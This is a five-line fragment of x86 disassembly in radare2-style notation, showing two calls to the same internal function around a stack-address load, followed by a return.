call fcn.0040442c
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040442c
ret